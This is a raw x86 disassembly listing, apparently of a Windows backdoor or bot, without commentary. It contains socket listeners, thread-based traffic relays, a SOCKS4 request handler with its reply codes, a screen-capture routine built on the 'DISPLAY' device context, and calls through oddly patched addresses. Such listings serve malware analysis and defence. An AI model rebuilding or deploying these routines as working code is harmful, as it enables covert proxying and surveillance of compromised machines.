		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_43ADD8
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_436F18[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_407252
		push	8
		call	sub_416FA4
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_407A4D
		mov	esi, offset dword_438F18
		push	esi
		nop
		call	near ptr 26E0000h
		push	80000400h
		push	esi
		call	near ptr 26D0AA5h
		nop
		test	eax, eax
		jnz	short loc_407A4D
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B4F0
		push	eax
		call	sub_4172B0
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_407A37
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40D679
		add	esp, 14h

loc_407A37:				; CODE XREF: sub_40797F+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------

loc_407A4D:				; CODE XREF: sub_40797F+63j
					; sub_40797F+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_424064
		mov	edi, ebx
		mov	dword_436F1C[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_407B1A

loc_407A6B:				; CODE XREF: sub_40797F+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B4A8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_416D5C
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_4407F4[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_407767
		push	ebx
		push	ebx
		call	near ptr 2680AA6h
		nop
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_407AE5

loc_407ADA:				; CODE XREF: sub_40797F+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_407B0C
		push	1Eh
		call	esi
		jmp	short loc_407ADA
; ---------------------------------------------------------------------------

loc_407AE5:				; CODE XREF: sub_40797F+159j
		call	near ptr 265031Fh
		nop
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B45C
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		add	esp, 10h

loc_407B0C:				; CODE XREF: sub_40797F+15Ej
		push	1Eh
		call	esi
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_407A6B

loc_407B1A:				; CODE XREF: sub_40797F+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_407BC4
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi

loc_407B2F:				; CODE XREF: sub_40797F+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_436F18[eax*8]
		push	eax
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_42B408
		push	eax
		call	sub_4172B0
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_407B7D
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40D679
		add	esp, 14h

loc_407B7D:				; CODE XREF: sub_40797F+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40BF6D
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	dword_436F1C[eax*8], ebx
		call	esi
		push	8
		call	sub_416FA4
		cmp	eax, 1
		pop	ecx
		jnz	short loc_407BB4
		push	offset dword_438F18
		call	near ptr 26E0000h
		nop

loc_407BB4:				; CODE XREF: sub_40797F+228j
		push	[ebp+var_2C]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D3h

loc_407BC4:				; CODE XREF: sub_40797F+19Ej
					; sub_40797F+25Dj
		mov	eax, [ebp+var_2C]
		cmp	dword_436F1C[eax*8], 1
		jnz	loc_407B2F
		push	7D0h
		call	esi
		jmp	short loc_407BC4
sub_40797F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407BDE	proc near		; DATA XREF: sub_40EE72+36DDo

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp+var_10]
		push	ebx
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_40]
		call	dword_43AD98
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	dword_43AE18
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_407D42
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	dword_4407FC[eax], ebx
		call	dword_43ACB4
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_43ADC4
		test	eax, eax
		jnz	loc_407D42
		push	0Ah
		push	ebx
		call	dword_43ADC0
		test	eax, eax
		jnz	loc_407D42

loc_407C88:				; CODE XREF: sub_407BDE+BEj
					; sub_407BDE+13Fj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	dword_43AE2C
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_407C88
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset unk_42B584
		push	eax
		call	sub_4172B0
		push	edi
		lea	eax, [ebp+var_34C]
		push	10h
		push	eax
		call	sub_416D5C
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_4407F4[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset loc_407D66
		push	esi
		push	esi
		nop
		call	near ptr 2680AA6h
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_440804[ecx], eax
		jz	short loc_407D2D

loc_407D1A:				; CODE XREF: sub_407BDE+14Dj
		cmp	[ebp+var_2C], esi
		jnz	loc_407C88
		push	32h
		nop
		call	near ptr 2610F41h
		jmp	short loc_407D1A
; ---------------------------------------------------------------------------

loc_407D2D:				; CODE XREF: sub_407BDE+13Aj
		call	near ptr 265031Fh
		nop
		push	eax
		push	offset unk_42B538
		call	sub_40BFE1
		pop	ecx
		pop	ecx
		jmp	short loc_407D45
; ---------------------------------------------------------------------------

loc_407D42:				; CODE XREF: sub_407BDE+61j
					; sub_407BDE+93j ...
		mov	edi, [ebp+arg_0]

loc_407D45:				; CODE XREF: sub_407BDE+162j
		push	edi
		call	dword_43AE30
		push	ebx
		call	dword_43AE30
		push	[ebp+var_3C]
		call	sub_417078
		pop	ecx
		push	esi
		call	near ptr 26102D3h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_407BDE	endp ; sp-analysis failed


loc_407D66:				; DATA XREF: sub_407BDE+11Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_417B30
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_43AE18
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_407F1C
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_43AD98
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_43ADD8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_407DF6
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_43AE1C
		jmp	short loc_407E04
; ---------------------------------------------------------------------------

loc_407DF6:				; CODE XREF: ___:00407DE5j
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_43AD50

loc_407E04:				; CODE XREF: ___:00407DF4j
		cmp	eax, edi
		jz	loc_407F1C
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jz	loc_407F1C
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_42B62C
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp-344h]
		push	10h
		push	eax
		call	sub_416D5C
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_4407FC[ebx]
		mov	dword_4407F4[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_440800[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_407F4D
		push	edi
		push	edi
		nop
		call	near ptr 2680AA6h
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_440804[ecx], eax
		jz	short loc_407F09

loc_407EB6:				; CODE XREF: ___:00407EC3j
		cmp	[ebp-20h], edi
		jnz	short loc_407EC5
		push	32h
		call	near ptr 2610F41h
		nop
		jmp	short loc_407EB6
; ---------------------------------------------------------------------------

loc_407EC5:				; CODE XREF: ___:00407EB9j
		mov	ebx, 1000h

loc_407ECA:				; CODE XREF: ___:00407F05j
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_43ADB0
		cmp	eax, edi
		jle	short loc_407F1C
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407ECA
		jmp	short loc_407F1C
; ---------------------------------------------------------------------------

loc_407F09:				; CODE XREF: ___:00407EB4j
		nop
		call	near ptr 265031Fh
		push	eax
		push	offset unk_42B5DC
		call	sub_40BFE1
		pop	ecx
		pop	ecx

loc_407F1C:				; CODE XREF: ___:00407DAAj
					; ___:00407E06j ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_4407FC[eax]
		call	dword_43AE30
		push	dword ptr [ebp+8]
		call	dword_43AE30
		push	dword ptr [ebp-4]
		call	sub_417078
		pop	ecx
		push	edi
		nop
		call	near ptr 26102D3h
		pop	edi
		pop	esi
		pop	ebx

loc_407F4D:				; DATA XREF: ___:00407E96o
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_417B30
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h

loc_407F84:				; CODE XREF: ___:00407FC9j
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_440800[esi]
		call	dword_43ADB0
		test	eax, eax
		jle	short loc_407FCB
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_4407FC[esi]
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_407F84

loc_407FCB:				; CODE XREF: ___:00407FAEj
		push	dword_440800[esi]
		call	dword_43AE30
		push	dword ptr [ebp-14h]
		call	sub_417078
		pop	ecx
		push	0
		nop
; ---------------------------------------------------------------------------
		db 0E8h
		dd 22082EBh
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407FEA	proc near		; DATA XREF: sub_40EE72+5E51o

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	word ptr [ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_43AD98
		push	6
		push	edi
		push	2
		mov	word ptr [ebp+var_14+2], ax
		mov	[ebp+var_10], esi
		call	dword_43AE18
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_4407FC[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_43ADC4
		test	eax, eax
		jnz	loc_40818C
		push	0Ah
		push	edi
		call	dword_43ADC0
		test	eax, eax
		jnz	loc_40818C
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B75C
		push	eax
		call	sub_4172B0
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_4080C5
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40D679
		add	esp, 14h

loc_4080C5:				; CODE XREF: sub_407FEA+B9j
					; sub_407FEA+172j ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40BF6D
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_43AE2C
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B708
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	11h
		push	eax
		call	sub_416D5C
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_4407F4[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset loc_4081EF
		push	esi
		push	esi
		nop
		call	near ptr 2680AA6h
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_440804[ecx], eax
		jz	short loc_40816C

loc_408159:				; CODE XREF: sub_407FEA+180j
		cmp	[ebp+var_28], esi
		jnz	loc_4080C5
		push	5
		call	near ptr 2610F41h
		nop
		jmp	short loc_408159
; ---------------------------------------------------------------------------

loc_40816C:				; CODE XREF: sub_407FEA+16Dj
		call	near ptr 265031Fh
		nop
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B6C0
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_4080C5
; ---------------------------------------------------------------------------

loc_40818C:				; CODE XREF: sub_407FEA+7Bj
					; sub_407FEA+8Cj
		push	edi
		call	dword_43AE30
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset unk_42B680
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4081CF
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_40D679
		add	esp, 14h

loc_4081CF:				; CODE XREF: sub_407FEA+1C3j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_3C]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 26102D3h
		pop	edi
		pop	esi
		pop	ebx

loc_4081EF:				; DATA XREF: sub_407FEA+14Fo
		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_4407FC[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_43AD80
		test	eax, eax
		jnz	short loc_408270
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D3h

loc_408270:				; CODE XREF: sub_407FEA+26Cj
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_43ADB0
		test	eax, eax
		jg	short loc_4082A1
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		call	near ptr 26102D3h
		nop

loc_4082A1:				; CODE XREF: sub_407FEA+29Dj
		cmp	[ebp+var_4D0], 4
		jnz	loc_40849B
		cmp	[ebp+var_4CF], 1
		jnz	loc_40849B
		cmp	[ebp+var_44], bl
		jz	short loc_408337
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408337
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset unk_42B830
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_417330
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43ADE8
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		call	near ptr 26102D3h
		nop

loc_408337:				; CODE XREF: sub_407FEA+2D4j
					; sub_407FEA+2EAj
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_417330
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_43AE18
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4083CF
		call	dword_43AD2C
		push	eax
		push	offset unk_42B7E4
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43ADE8
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D3h

loc_4083CF:				; CODE XREF: sub_407FEA+386j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_43AD40
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40843E
		call	dword_43AD2C
		push	eax
		push	offset unk_42B794
		call	sub_40BFE1
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_417330
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43ADE8
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D3h

loc_40843E:				; CODE XREF: sub_407FEA+3F5j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_43ADE8
		push	dword ptr [esi]
		push	edi
		call	sub_4084B3
		pop	ecx
		pop	ecx
		push	edi
		call	dword_43AE30
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		call	near ptr 26102D3h
		nop

loc_40849B:				; CODE XREF: sub_407FEA+2BEj
					; sub_407FEA+2CBj
		push	dword ptr [esi]
		call	dword_43AE30
		push	[ebp+arg_0]
		call	sub_417078
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D3h
sub_407FEA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4084B3	proc near		; CODE XREF: sub_407FEA+48Bp

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h

loc_4084C9:				; CODE XREF: sub_4084B3+C5j
					; sub_4084B3+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]

loc_4084E1:				; CODE XREF: sub_4084B3+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_4084F1
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4084E1

loc_4084F1:				; CODE XREF: sub_4084B3+33j
		cmp	ecx, 1
		jnz	short loc_408506
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2

loc_408506:				; CODE XREF: sub_4084B3+41j
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_43AD80
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_43AC90
		test	eax, eax
		jz	short loc_408566
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_43ADB0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE

loc_408566:				; CODE XREF: sub_4084B3+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_43AC90
		test	eax, eax
		jz	loc_4084C9
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_43ADB0
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4085AE
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_43ADE8
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4084C9

loc_4085AE:				; CODE XREF: sub_4084B3+9Aj
					; sub_4084B3+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4084B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4085B3	proc near		; CODE XREF: sub_40EE72+45AFp

var_484		= byte ptr -484h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= word ptr -78h
var_76		= word ptr -76h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_43AD84
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4087E7
		push	8
		push	edi
		call	dword_43ADA0
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_43ADA0
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_43ADA0
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_408615
		push	18h
		push	edi
		call	dword_43ADA0
		mov	ebx, 100h
		jmp	short loc_408617
; ---------------------------------------------------------------------------

loc_408615:				; CODE XREF: sub_4085B3+50j
		xor	ebx, ebx

loc_408617:				; CODE XREF: sub_4085B3+60j
		push	edi
		call	dword_43ADE4
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4087CC
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
